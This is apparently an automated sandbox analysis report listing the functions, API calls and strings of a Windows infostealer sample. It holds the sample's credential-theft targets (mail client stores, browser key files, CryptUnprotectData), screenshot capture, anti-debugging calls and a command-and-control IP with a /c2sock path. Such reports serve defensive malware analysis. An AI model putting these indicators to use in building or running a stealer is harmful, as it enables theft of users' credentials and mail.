Strings

DISPLAY, xrefs: 00433283

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Create
String ID: DISPLAY
API String ID: 1087689917-865373369
Opcode ID: e111dd26da1cce17ec30f396acc00c8357a98608eb13f1216a439640c8f7afd7
Instruction ID: b761a9eed8f132f3d76dd51699d475c40aa8c4f3e32308c58242f5baaa05262b
Opcode Fuzzy Hash: e111dd26da1cce17ec30f396acc00c8357a98608eb13f1216a439640c8f7afd7
Instruction Fuzzy Hash: EA513672D041059BEF208F588845ABFB6A4EB9D312F34B563E516EB350D278CF814B9B

Function 00401FF9 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,?,?,?,?,?,?,?,?,?,?,?,?,?,?,E3E203CD), ref: 004020D7
ExitProcess.KERNEL32 ref: 00402428

Strings

Ku^%, xrefs: 00402040
Ku^%, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ExitProcessSleep
String ID: Ku^%$Ku^%
API String ID: 911557368-1067927601
Opcode ID: 013c3d7dc7fc862d36ffcb00b25dcaf7516d0370d05350ed3a1ad5b255c26736
Instruction ID: 7c1692d81d369eac2294152011f0ccab71a19272a549e25e1d59810d67b13e6b
Opcode Fuzzy Hash: 013c3d7dc7fc862d36ffcb00b25dcaf7516d0370d05350ed3a1ad5b255c26736
Instruction Fuzzy Hash: 82A1E571500B058BD7348E29D68862B76E0AB41714B248D3FE55BFBBE0D6FCE8459B0B

Function 004224A3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 201nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(000000FF,0000001F,?,00000004,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004227D5

Strings

M%, xrefs: 0042277D
M%, xrefs: 0042265C
9a%^, xrefs: 004225B2

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID: 9a%^$M%$M%
API String ID: 1778838933-3204844187
Opcode ID: 9ade9e483b5ebb250e7fe0e529f96f4c94ae799fe6f97278c80e701388524701
Instruction ID: a14d1243167b6357461e6519a130038910b412cbb64089044718b0755659bab4
Opcode Fuzzy Hash: 9ade9e483b5ebb250e7fe0e529f96f4c94ae799fe6f97278c80e701388524701
Instruction Fuzzy Hash: 5A819875F04229ABCF28DF58EAD06ADB7B0AB24300FE48557D451E7351D2BC8A81CB4A

Function 0042C0DA Relevance: 6.8, Strings: 5, Instructions: 552COMMON

Download Yara Rule

Strings

*.db, xrefs: 0042C479
%localappdata%\Mailbird\Store, xrefs: 0042C52E
kernel32.dll, xrefs: 0042C514
Mail Clients\Mailbird, xrefs: 0042C138, 0042C424, 0042C474
\MessageIndex, xrefs: 0042C26E

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: %localappdata%\Mailbird\Store$*.db$Mail Clients\Mailbird$\MessageIndex$kernel32.dll
API String ID: 0-4169501468
Opcode ID: 998153987a092bc391745c6bd773306619986c146018ef37c9d8809a776367a6
Instruction ID: 37c33aadf0b1a5fededcf733a2f710a0aa0d7e8b715308be68c7b56e9875aa70
Opcode Fuzzy Hash: 998153987a092bc391745c6bd773306619986c146018ef37c9d8809a776367a6
Instruction Fuzzy Hash: C21209B1F4022A8BDF149B98A8C25BF7661EF10314FA4452BE411FA391D72D8A41CBDF

Function 0043B362 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 550stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE(?,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,-000017AA), ref: 0043B7A5

Strings

kernel32.dll, xrefs: 0043B79D
VL6T, xrefs: 0043BAF5
VL6T, xrefs: 0043B6ED

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: VL6T$VL6T$kernel32.dll
API String ID: 1586166983-858732239
Opcode ID: 12c1549d627155c630d8ca6eb72fb2876e14e488023c5ebfadd3efd311715951
Instruction ID: ac9e96eee08e7f4766fdf27955405b0e073298ede107f6bf942f2813ff7035d8
Opcode Fuzzy Hash: 12c1549d627155c630d8ca6eb72fb2876e14e488023c5ebfadd3efd311715951
Instruction Fuzzy Hash: F912BA71D045198BCF28CA5988967BEB6B0EB1D300F24651BDA06EB760D73CDD818BDB

Function 00430228 Relevance: 5.7, Strings: 4, Instructions: 717COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 00430A91
VL6T, xrefs: 0043093E
UL6T, xrefs: 00430495
VL6T, xrefs: 00430812

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: UL6T$VL6T$VL6T$kernel32.dll
API String ID: 4038537762-2028718673
Opcode ID: 7f0570dafa6d19f3a3e4030d7ec8142c43fb6ca8828ccd976bb5ebe1ae7d6833
Instruction ID: c2102a5980ece967c5cd64c746778263c5b3406957fe7555e788f878a3f1dfdb
Opcode Fuzzy Hash: 7f0570dafa6d19f3a3e4030d7ec8142c43fb6ca8828ccd976bb5ebe1ae7d6833
Instruction Fuzzy Hash: 99420BB1D001199BDF288A98C8656BF76B0AB18310F241767E915FB3D0D37C8E95CB9B

Function 004052D9 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 467encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00405575

Strings

os_c576xedrypt.encry576xedpted_key, xrefs: 00405A29
crypt32.dll, xrefs: 00405558, 004059AF

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CryptDataUnprotect
String ID: crypt32.dll$os_c576xedrypt.encry576xedpted_key
API String ID: 834300711-975908830
Opcode ID: 6ec49e03afd1e886a5d6749f16ab2b942470457bc97d4b462b27af3ea700647b
Instruction ID: 8c3ac9f04a9491c7941596228a2b8d17953981cc6a452a8cfbc5ca82bdd136a5
Opcode Fuzzy Hash: 6ec49e03afd1e886a5d6749f16ab2b942470457bc97d4b462b27af3ea700647b
Instruction Fuzzy Hash: 4402B4B1E00A098FDF249A98DC816BFBB74EB14314F24457BE915FA3E0D37989418F5A

Function 0042F278 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 222stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,0043047B), ref: 0042F315
lstrcatW.KERNEL32(?,\key4.db), ref: 0042F31F

Strings

\key4.db, xrefs: 0042F317

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: \key4.db
API String ID: 4038537762-2908133219
Opcode ID: c274c9b68e34842f206bf802bf848d073bbe615893bbf2fcb8277165c47de0ca
Instruction ID: 3d8cc84be03ebf0018643bd6ad0f3ea75a9045ade11442e12932e6ab408eecf0
Opcode Fuzzy Hash: c274c9b68e34842f206bf802bf848d073bbe615893bbf2fcb8277165c47de0ca
Instruction Fuzzy Hash: C37198A6F0012996DF249968BC4157F23B16B92710FF40977E005DB391E27ECD8987AF

Function 0042CFBA Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

]^4, xrefs: 0042CFF0
^^4, xrefs: 0042D32D
^^4, xrefs: 0042D20F
Mail Clients\eM Client, xrefs: 0042CFBE

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: Mail Clients\eM Client$]^4$^^4$^^4
API String ID: 0-1928883120
Opcode ID: 490cee9e03f46942998cbacae6b351251b9d38460da8d0580215e8d3c57ef9a7
Instruction ID: 9be5ae4bf1e72463837e643df42d36053b45937ac977a5871966d9d3f700dc7e
Opcode Fuzzy Hash: 490cee9e03f46942998cbacae6b351251b9d38460da8d0580215e8d3c57ef9a7
Instruction Fuzzy Hash: 5CE14DB1F4012A8BDF189E54FD822BF7662AB14304FA4052BE015FA395E73DCA4187DB

Function 00453BC4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0044E224: RtlFreeHeap.NTDLL(00000000,00000000,?,00447A98,00426F52,?,?), ref: 0044E23A
Part of subcall function 0044E224: GetLastError.KERNEL32(?,?,00447A98,00426F52,?,?), ref: 0044E245

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00454058,004170BE,?), ref: 00453C36

Strings

Eastern Summer Time, xrefs: 00453CE3
Eastern Standard Time, xrefs: 00453CCF

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3335090040-239921721
Opcode ID: 2af139a3764a0c05745c62e5f991a316996d580cafce79d7789892506ed109ab
Instruction ID: 7ab12ca904d85c611abf05cc92b1328e63041ffa610859c45aae75821d6d65e9
Opcode Fuzzy Hash: 2af139a3764a0c05745c62e5f991a316996d580cafce79d7789892506ed109ab
Instruction Fuzzy Hash: DA3159B2D00115ABCB11AFA6DC4695ABB74EF05797F10406BF804A7162E7789F04CB99

Function 00438E28 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

gU@, xrefs: 0043935E

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: gU@
API String ID: 0-63564854
Opcode ID: 8bc7925b9e038d193efd2d2866c7942856053ba973fa878822b50d9ea5857523
Instruction ID: 9bb5ed087af5853c8395ebcf4a55f6806a95a7423fdc301e10d6eb9c751f7a08
Opcode Fuzzy Hash: 8bc7925b9e038d193efd2d2866c7942856053ba973fa878822b50d9ea5857523
Instruction Fuzzy Hash: 4FE1D871D042198BDF249B6888826BEBA70BB1D310F24252FE559FB390D77CCD418B9B

Function 0040B7BB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00000000,?,?,?), ref: 0040B80B

Strings

ntdll.dll, xrefs: 0040B7F8

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Close
String ID: ntdll.dll
API String ID: 3535843008-2227199552
Opcode ID: cd4e9ab95000133a587c79dbdb14eef8d6e48608e068825cd0d0d3dffcb8006f
Instruction ID: 07c00f1c427ac074378915b2824e934ab5066280a98a6b1b7d7a0ad64244f161
Opcode Fuzzy Hash: cd4e9ab95000133a587c79dbdb14eef8d6e48608e068825cd0d0d3dffcb8006f
Instruction Fuzzy Hash: 7DF0E992A0016279E6106A669C0197B768CDE86361F144533F815E73D1E33C8E0192FE

Function 0040B7F5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00000000,?,?,?), ref: 0040B80B

Strings

ntdll.dll, xrefs: 0040B7F8

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Close
String ID: ntdll.dll
API String ID: 3535843008-2227199552
Opcode ID: fc421d87402b4386972566e4e5051b6ecebdf77c0c0cd5e6f8509a3cd20f6b8d
Instruction ID: f273f3d0fb77e3baaf18c0c5406a57793bb7cae49ecc4258f7fe46d16d2ae272
Opcode Fuzzy Hash: fc421d87402b4386972566e4e5051b6ecebdf77c0c0cd5e6f8509a3cd20f6b8d
Instruction Fuzzy Hash: 08C08063F8102166850175D47C035AD631CD9D8337F1C4437F91AF2301F525161D01FB

Function 02F69F2E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02F69F56
Module32First.KERNEL32(00000000,00000224), ref: 02F69F76

Memory Dump Source

Source File: 00000000.00000002.3246383027.0000000002F69000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F69000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f69000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 056a9cd8ce9a1ab0893ef63b9dea2c2658ee486a95b735d568ab11a83d6bfd2c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 05F096326007156FD7203BF5AC8DBBEB6ECEF497A4F110629E756910C0DBF0E8454A61

Function 004245EC Relevance: 1.7, APIs: 1, Instructions: 207nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000023,?,00000002,00000000), ref: 00424811

Part of subcall function 004262A1: LoadLibraryA.KERNELBASE(fltl), ref: 004263DE

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: InformationLibraryLoadQuerySystem
String ID:
API String ID: 1217483125-0
Opcode ID: 87505e49a8eb848821dffb05ea81a0e5641ec38d0459a75f9f4d4ff82dc7fd33
Instruction ID: a7ee391c1cc3a25a3919c4d00fef5949a9432234e98ec336f1522245060c6ad6
Opcode Fuzzy Hash: 87505e49a8eb848821dffb05ea81a0e5641ec38d0459a75f9f4d4ff82dc7fd33
Instruction Fuzzy Hash: 1471C5B1B08261CBCB24DF18A58112EB6E0FBC5314FA65D1FE496EB351D63CC8858B5B

Function 00421EEB Relevance: 1.7, APIs: 1, Instructions: 153nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(000000FF,00000007,FFFFFF06,00000004,00000000), ref: 00421F7A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction ID: 4c19edd8aa9c17fc0a78f2ac854e6ceab7ff99fd175543fb6d48c07bc42e7691
Opcode Fuzzy Hash: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction Fuzzy Hash: B151B730F081359BCF248B5CAA8076DBAA5AB24315FA14517EB25E73B4C379DD81874B

Function 004244E4 Relevance: 1.6, APIs: 1, Instructions: 71nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,?,?,?,?,?,0041EC64), ref: 004245E5

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 5af1248077b72cee271f1dc4513ba9fdd6fbe0fa2681126dcf50cb3d141ba941
Instruction ID: e4e78e09ab512bb18b464cd4d2f873358ef8636b72ff0900b4d62f7f8a955cf4
Opcode Fuzzy Hash: 5af1248077b72cee271f1dc4513ba9fdd6fbe0fa2681126dcf50cb3d141ba941
Instruction Fuzzy Hash: 372132B57046216BC7249E1CA84253EA6D4EBD8314F55593BFACBEF750D238CC809B87

Function 0042F1C2 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(F2E4C6A8,00000000), ref: 0042F21D

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 1c25e0eb5abf8d8b8060ecc68c24b031f84286c1c8975e7eed6408469da21eb6
Instruction ID: a368c7a5dfb214292b8ef9e9d0bae651ecd455d0456980d3106c0b1a917b6dbd
Opcode Fuzzy Hash: 1c25e0eb5abf8d8b8060ecc68c24b031f84286c1c8975e7eed6408469da21eb6
Instruction Fuzzy Hash: 9DF06DB1900644DFD710DF99E989B5AFBF8EB48724F10C16AE4289B751D33C5844CF68

Function 0044FB15 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5466edf919cf6453cb3fe632e64b7bc90129a20e483f7dfcae3dbb783ead61c5
Instruction ID: c1995cbfc35cf923d3c3ea23a15c0124f92d8ae5a77ba2b7d44262ced24471db
Opcode Fuzzy Hash: 5466edf919cf6453cb3fe632e64b7bc90129a20e483f7dfcae3dbb783ead61c5
Instruction Fuzzy Hash: AFE08C72912278EBCB15DB89C945D8AF3FCEB49B14B2500ABB501D3200C674EE04CBD4

Function 00443998 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction ID: 17c6e2c9dd4ac5a7344e966d1587fdb4c68b9ede7c11da59021095b760417012
Opcode Fuzzy Hash: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction Fuzzy Hash: 09C08C7410098046EF298D10C271BA63364FBA2BCBF8005CEC4420BB46C66EAD8AD654

Function 0042F625 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 418
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,?), ref: 0042F9A2
lstrcatW.KERNEL32(?,?), ref: 0042F9CF
lstrcatW.KERNEL32(?,0045E102), ref: 0042FA7D
lstrcatW.KERNEL32(?,0045E102), ref: 0042FAFF

Strings

n_v, xrefs: 0042FCCB
n_v, xrefs: 0042FD1C
(lu, xrefs: 0042F811
)lu, xrefs: 0042FCC2
n_v, xrefs: 0042FAAD
)lu, xrefs: 0042F81C

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: (lu$)lu$)lu$n_v$n_v$n_v
API String ID: 4038537762-1534030094
Opcode ID: 072b878477c295eb77043ba653f905b2afdd85461ce88a646d5d7cd4a06fd790
Instruction ID: 4b57ba66ae2396d09571da8aec8c9542c80e7c55b9c92ca3ddc1ba6dd1b7a9a6
Opcode Fuzzy Hash: 072b878477c295eb77043ba653f905b2afdd85461ce88a646d5d7cd4a06fd790
Instruction Fuzzy Hash: 7AF11D71B0012E9BCF289F99E8515BEBAB4FB54310FE44537E401EA3B0D37989469B4B

Function 0041A28F Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wctomb_s.LIBCMT ref: 0041A498

Strings

94.158.244.69, xrefs: 0041A910
hwid, xrefs: 0041A655
/c2sock, xrefs: 0041A814
file, xrefs: 0041A6E9
GhYuIq, xrefs: 0041A67A
lid, xrefs: 0041A67F
pid, xrefs: 0041A669

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _wctomb_s
String ID: /c2sock$94.158.244.69$GhYuIq$file$hwid$lid$pid
API String ID: 2865277502-1332857675
Opcode ID: eb0b6a858b081c0f0339ece4a3e91829cc041cf882a78251da46bd4ef4ec5e2d
Instruction ID: cc35308ceb474d8d45e9bf1619109491d7752d3a10985d79ac983763bc7ee506
Opcode Fuzzy Hash: eb0b6a858b081c0f0339ece4a3e91829cc041cf882a78251da46bd4ef4ec5e2d
Instruction Fuzzy Hash: 11F108B5D0211A9BDF248B88C8455FEBAB1AB14340F24496BE415F7394D33DCAE18B9F

Function 02ED003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02ED024D

Strings

cess, xrefs: 02ED018D
kernel32.dll, xrefs: 02ED008F, 02ED0095

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c888ef0d310670c98a3f762550467d8ce2b93cc8046e61e9807fb0037b26c9d0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C3526974A41229DFDB64CF68C984BACBBB1BF09314F1480D9E94DAB351DB30AA85CF14

Function 00432718 Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateCompatibleDC.GDI32(00000D62), ref: 00432894
DeleteDC.GDI32(00000002), ref: 00432B01
DeleteObject.GDI32(?), ref: 00432B0A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Delete$CompatibleCreateObject
String ID:
API String ID: 1022343127-0
Opcode ID: 9c86189b810d3e515d08f5d9a84ca5729e654e6d330d14ecc6a0223a2e2684ea
Instruction ID: 50fedbdf880eafc0b33480be7e0390951b775b57d16ab65b209ae7f2f2027e24
Opcode Fuzzy Hash: 9c86189b810d3e515d08f5d9a84ca5729e654e6d330d14ecc6a0223a2e2684ea
Instruction Fuzzy Hash: 358116B590031A9BDF209F948EC557E7A74BB0C350F282617E510F63A0D3FD9A419BAB

Function 0044CF15 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,0044D022,?,00426F52,00000000,00000000,?,?,0044CDD6,00000021,FlsSetValue,0046503C,FlsSetValue,00000000), ref: 0044CFD6

Strings

api-ms-, xrefs: 0044CF6C
ext-ms-, xrefs: 0044CF80

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction ID: c6a9518bbc4403065455c8dc6532f837efe444071a0c6fa5154c8577c36c6d79
Opcode Fuzzy Hash: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction Fuzzy Hash: 4521EE31E47210ABEB219B65DCC0A5B77699B41764B190122FD05A73D0FBBCDD08C6DD

Function 0044575F Relevance: 9.3, APIs: 6, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 004458F2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044590E
__allrem.LIBCMT ref: 00445925
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00445943
__allrem.LIBCMT ref: 0044595A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00445978

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 6914c5dd9646aa3fd790727cf4e39c2290796d50bc97961f3513338c227282f2
Instruction ID: 558deed22b9213933cb6ee14014e535275a7d7dbd354c33e6b5693a62e892da8
Opcode Fuzzy Hash: 6914c5dd9646aa3fd790727cf4e39c2290796d50bc97961f3513338c227282f2
Instruction Fuzzy Hash: 0681D8B1600B06DBFB20AE29CC42B5BB3E9AF54768F24452FE411D67C3E778D9058B58

Function 00433C10 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 252COMMON

Download Yara Rule

Strings

Screen.png, xrefs: 00433F6F
9a%^, xrefs: 00433D03
M%, xrefs: 00433D93

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: 9a%^$M%$Screen.png
API String ID: 0-2021954137
Opcode ID: 7ea333df6f5c2910ca2bc4c4f4777871bdb5a703dffbbcdfcf0a34b6d9d0a0f5
Instruction ID: 11fefa64aaa65e2afc3480572e0d96af9cd0f56f536a59b59af3bc8bd9e58722
Opcode Fuzzy Hash: 7ea333df6f5c2910ca2bc4c4f4777871bdb5a703dffbbcdfcf0a34b6d9d0a0f5
Instruction Fuzzy Hash: 4691D8B6E005098ADF248E98888557EB6B4AB9C312F647917E416FB390E37CCF41875B

Function 00402FCC Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 283libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402FE0
LoadLibraryA.KERNELBASE(my-global-render.dll), ref: 00402FEA

Strings

advapi32.dll, xrefs: 00402FDB
my-global-render.dll, xrefs: 00402FE5

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

